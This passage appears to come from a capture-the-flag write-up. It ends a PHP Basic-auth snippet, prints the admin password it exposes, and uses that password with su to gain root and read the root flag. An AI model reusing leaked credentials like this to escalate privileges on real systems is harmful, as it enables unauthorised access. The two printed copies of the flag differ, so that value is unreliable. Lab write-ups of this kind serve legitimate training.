    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

header('Location: dashboard.php');
exit;
?>

The code reveals credentials for an “Employee Management” system: admin:IKw75eR0MR7CMIxhH0. We attempt to switch user to root using this password.

0xblivion@cat: ~

axel@cat:~$ su - root
Password: 
root@cat:~# cat root.txt 
11fad706f903f0c73a5c66aa2dbd4d2c
Root flag: 11fad706f903f0f73a5c66aa2dbd4d2c